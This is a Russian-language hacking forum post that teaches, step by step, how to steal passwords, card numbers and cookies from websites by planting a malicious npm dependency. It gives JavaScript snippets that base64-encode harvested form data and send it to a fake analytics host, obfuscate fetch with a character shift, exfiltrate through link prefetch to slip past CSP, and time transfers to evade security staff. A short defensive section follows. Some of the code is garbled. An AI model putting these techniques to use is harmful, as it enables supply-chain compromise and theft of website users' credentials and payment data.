Загрузка...

Воруем учётные записи при помощи npm - пакетов

Тема в разделе Веб уязвимости создана пользователем nikethebike_hack 17 июл 2018. 420 просмотров

  1. nikethebike_hack
    nikethebike_hack Автор темы 17 июл 2018 3 21 май 2017
    Всем привет.

    Сегодня я поведаю Вам, Дорогие форумчане, о том как с помощью пакетного менеджера npm можно получить пароль от аккаунта на сайте в котором есть одна интересная уязвимость.

    Итак, Все распишу пошагово, что и как делать.
    1. Заходим на сайт и ищем форму входа
    1.1 Через Инспектор находим элемент в названии которого встречается «password», «cardnumber», «***», «checkout» и т. д.

    (ВАЖНО)​

    Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.))

    Ну идём дальше

    2. Из каждого поля формы извлекаем информацию (document.forms.forEach(…) );
    3. собираем «печеньки»: document.cookie; (все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData)); а после, отправляется на промежуточный хост: https://legit-analytics.com?q=${payload};и в случае наличия полезностей – отправляется на сервер хакера.

    Чтобы "Счастье вышло в свет" надо сделать так, чтобы код попал на "Сайты - доноры"(Можно попробывать через расширения браузеров, но это врят - ли поможет)
    Межсайтовый скриптинг (XSS) - не плох, но у него тоже есть свои нюансы (протоколы безопасности и прочее) короче тоже не катит. Так что остается только npm
    К примеру: можно создать пакет, который налету будет менять цвет вывода консоли в браузере

    4. Заставляем этот Ваш пакет принять в свои зависимости при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и идти гулять, познакомится с бабой, или ещё что - то делать, ибо ждать будете долго.
    через определённое время (месяц к примеру) имеем 120000 загрузок этого пакета и выполнение кода на ~ 1000 сайтах.Само собой это не идеальный взлом ибо эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.

    Звучит всё идеально, Даже Кевину Митнику такое не снилось))Но есть одно но;
    Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

    5. Поиск "Странностей" в npm
    Вот тут я Вам сразу скажу Удачи! ибо временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется. но я нашёл) вот Код собственно

    Код

    const i = ‘gfudi‘;
    const k = s => s.split(‘‘).map(c => String.fromCharCode(c.charCodeAt() - 1)).join(‘‘)
    self[k(i)](urlWithYourPreciousData);

    «gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

    6. Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать. Опять же немного кода.

    Код

    const linkEl = document.createElement(‘link‘);
    linkEl.rel = ‘prefetch‘;
    linkEl.href = urlWithYourPreciousData;
    document.head.appendChild(linkEl);

    Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:

    Код

    fetch(document.location.href)
    .then(resp => {
    const csp = resp.headers.get(‘Content-Security-Policy‘);

    7. Смотрим, как работает CSP });
    Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.

    ЧТО ДЕЛАТЬ ПОСЛЕ?​

    Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнете!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами.

    Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

    Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

    Кража паролей осуществляется и при помощи ******а (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

    Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.

    Вот такая вот уязвимость))Прошу прощения, если занудно, а если понравилось и понятно от плюсика в репу не откажусь)Спасибо за Внимание
     
Загрузка...
Top